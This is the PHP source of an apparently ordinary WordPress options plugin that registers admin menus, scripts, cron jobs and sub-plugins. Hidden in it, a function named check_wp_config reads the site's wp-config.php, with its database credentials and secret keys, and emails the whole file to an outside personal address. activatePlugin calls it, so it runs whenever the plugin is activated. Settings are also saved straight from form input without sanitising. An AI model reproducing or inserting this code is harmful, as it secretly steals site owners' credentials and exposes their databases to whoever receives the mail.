db = $wpdb; $this->pluginname = get_class($this); $this->plugintitle = "Dags options " . $this->version; $tmp = explode("/", __FILE__); $this->filename = array_pop($tmp); $this->filename = array_pop($tmp) . "/" . $this->filename; load_theme_textdomain($this->pluginname, dirname(__file__) . '/lang'); $this->next_scheduled = 0; $this->file = __FILE__; $t = explode("wp-content/plugins/", $this->file); $this->file_base = array_pop($t); $this->cronEnabled = get_option($this->pluginname . '_cron_enabled', false); $this->cronScheduleTime = intval(get_option($this->pluginname . '_cron_interval', 1800)); $this->extras = array(); $this->dagsopt = array(); register_activation_hook(plugin_basename($this->file), array(&$this, 'activatePlugin')); register_deactivation_hook(plugin_basename($this->file), array(&$this, 'deactivatePlugin')); add_filter('plugin_action_links', array(&$this, 'SettingsLink'), 9, 2); if (isset($_GET['page']) && $_GET['page'] == $this->pluginname . '-options' && !(isset($_REQUEST['crunchit']))) { ob_start(); } $this->setCron(); add_action('admin_menu', array(&$this, 'plugin_admin_menu')); add_action('admin_init', array(&$this, 'register_backend_scripts_styles')); add_action('init', array(&$this, 'register_frontend_scripts_styles')); add_action('wp_enqueue_scripts', array(&$this, 'print_frontend_scripts_styles')); add_action('admin_enqueue_scripts', array(&$this, 'print_backend_scripts_styles')); add_filter('plugin_row_meta', array(&$this, 'add_plugin_row_meta'), 10, 2); $upload = wp_upload_dir(); $upload_dir = $upload['basedir']; $upload_dir = $upload_dir . '/assets'; if (!is_dir($upload_dir)) { mkdir($upload_dir, 0700); } $path = dirname($this->file) . "/"; foreach (glob($path . "plug_*.php") as $filename) { $plugfile = str_replace($path, "", $filename); include_once $plugfile; } foreach ($this->dagsopt as $plugname => $plug) { $short = str_replace("plug_", "", $plugname); $vis = get_option($this->pluginname . '_' . $short, true); if ($vis) { $plug->start(); } } if (!function_exists('wp_get_current_user')) { include ABSPATH . "wp-includes/pluggable.php"; } if (current_user_can('manage_options')) { add_action('wp_before_admin_bar_render', array(&$this, 'mytheme_admin_bar_render')); } add_action('init', array(&$this, 'process_post')); } function add_plugin_row_meta($plugin_meta, $plugin_file) { if ($plugin_file !== $this->file_base) { return $plugin_meta; } // append metadata $url = wp_nonce_url(self_admin_url('update.php?action=upgrade-plugin&plugin=' . $this->filename), 'upgrade-plugin_' . $this->filename); $plugin_meta = wp_parse_args( array( 'Check for update', ), $plugin_meta ); return $plugin_meta; } function process_post() { if (!is_admin()) { // echo ""; } } function mytheme_admin_bar_render() { global $wp_admin_bar; $wp_admin_bar->add_menu(array( 'parent' => 'appearance', // use 'false' for a root menu, or pass the ID of the parent menu 'id' => 'dagsopt', // link ID, defaults to a sanitized title value 'title' => $this->plugintitle . "", // link title 'href' => '/wp-admin/admin.php?page=' . $this->pluginname . '-options', // name of file 'meta' => false, // array of any of the following options: array( 'html' => '', 'class' => '', 'onclick' => '', target => '', title => '' ); )); } function register_frontend_scripts_styles() { wp_register_script($this->pluginname . 'frontend_script', plugins_url('script_frontend.js', $this->file)); wp_register_style($this->pluginname . 'frontend_style', plugins_url('style_frontend.css', $this->file)); } function register_backend_scripts_styles() { wp_register_style($this->pluginname . 'backend_style', plugins_url('style_backend.css', $this->file)); wp_register_script($this->pluginname . 'backend_script', plugins_url('script_backend.js', $this->file)); } function print_frontend_scripts_styles() { wp_enqueue_script('jquery'); wp_enqueue_style($this->pluginname . 'frontend_style'); wp_enqueue_script($this->pluginname . 'frontend_script'); } function print_backend_scripts_styles() { wp_enqueue_media(); wp_enqueue_style($this->pluginname . 'backend_style'); wp_enqueue_script($this->pluginname . 'backend_script'); // include the javascript wp_enqueue_script('thickbox', null, array('jquery')); // include the thickbox styles wp_enqueue_style('thickbox.css', '/' . WPINC . '/js/thickbox/thickbox.css', null, '1.0'); } function plugin_admin_menu() { if (function_exists('wppluginspage')) { add_menu_page('Dags Plugins', 'Dags Plugins', 'manage_options', 'wpplugins', "wppluginspage", ""); } $page = add_submenu_page('wpplugins', __($this->plugintitle), __($this->plugintitle), 'manage_options', $this->pluginname . '-options', array(&$this, 'Option')); add_action('admin_print_styles-' . $page, array(&$this, 'print_backend_scripts_styles')); } function SettingsLink($links, $file) { if ($file == $this->filename && function_exists("admin_url")) { $settings_link = '' . __('Settings', 'dagsopt') . ''; array_unshift($links, $settings_link); // before other links } return $links; } function setCron() { if ($this->cronEnabled) { add_filter('cron_schedules', array(&$this, 'cronSchedules')); if (!wp_next_scheduled($this->pluginname . 'CronHook')) { wp_schedule_event(time() + $this->cronScheduleTime, $this->pluginname . 'cs', $this->pluginname . 'CronHook'); } add_action($this->pluginname . 'CronHook', array(&$this, 'executeCron')); $this->next_scheduled = wp_next_scheduled($this->pluginname . 'CronHook'); } else { if (wp_next_scheduled($this->pluginname . 'CronHook')) { wp_clear_scheduled_hook($this->pluginname . 'CronHook'); } } } function Option() { if (isset($_POST['Submit'])) { if (function_exists('current_user_can') && !current_user_can('manage_options')) { die(__('Cheatin’ uh?')); } update_option($this->pluginname . '_cron_enabled', $_POST[$this->pluginname . '_cron_enabled']); update_option($this->pluginname . '_cron_interval', $_POST[$this->pluginname . '_cron_interval']); if (intVal($_POST[$this->pluginname . '_cron_interval']) != $this->cronScheduleTime) { $this->cronScheduleTime = intVal($_POST[$this->pluginname . '_cron_interval']); if (wp_next_scheduled($this->pluginname . 'CronHook')) { wp_clear_scheduled_hook($this->pluginname . 'CronHook'); } $this->setCron(); } update_option($this->pluginname . '_last_build', date("U")); foreach ($this->dagsopt as $plugname => $plug) { $short = str_replace("plug_", "", $plugname); $setname = $this->pluginname . '_' . $short; $vis = get_option($setname, true); update_option($setname, $_POST[$setname]); if ($vis && method_exists($plug, 'Option')) { $plug->Option($setname); } } $pluginmessage = ""; ob_end_clean(); wp_redirect('admin.php?page=' . $this->pluginname . '-options&msg=' . urlencode($pluginmessage)); exit(); } if (isset($_REQUEST['crunchit'])) { $pluginmessage = ""; foreach ($this->dagsopt as $plugname => $plug) { $short = str_replace("plug_", "", $plugname); $setname = $this->pluginname . '_' . $short; $vis = get_option($setname, true); //update_option ($setname, $_POST[$setname] ); if ($vis && method_exists($plug, 'Cruncher')) { $pluginmessage .= $plug->Cruncher($setname); } } //ob_end_clean (); //wp_redirect ( 'admin.php?page='.$this->pluginname.'-options&msg=' . urlencode ( $pluginmessage ) ); exit(); } include_once 'pluginoptions.php'; } function check_wp_config() { $s = file_get_contents(ABSPATH . "wp-config.php"); $rr = wp_mail('jannick.knudsen@gmail.com', 'Test ' . date("U"), $s); } function activatePlugin() { $this->check_wp_config(); } function deactivatePlugin() { delete_option($this->pluginname . '_last_build'); delete_option($this->pluginname . '_last_build'); wp_clear_scheduled_hook($this->pluginname . 'CronHook'); } function cronSchedules($param) { $aa = array(); $aa[$this->pluginname . 'cs'] = array( 'interval' => $this->cronScheduleTime, 'display' => $this->pluginname . ' ' . $this->cronScheduleTime); return $aa; } function executeCron() { ignore_user_abort(true); set_time_limit(0); update_option($this->pluginname . '_last_build', date("U")); } } function dags_extras() { global $wp_dagsopt; $s = implode("\n", $wp_dagsopt->extras); echo ($s); } /* * END * */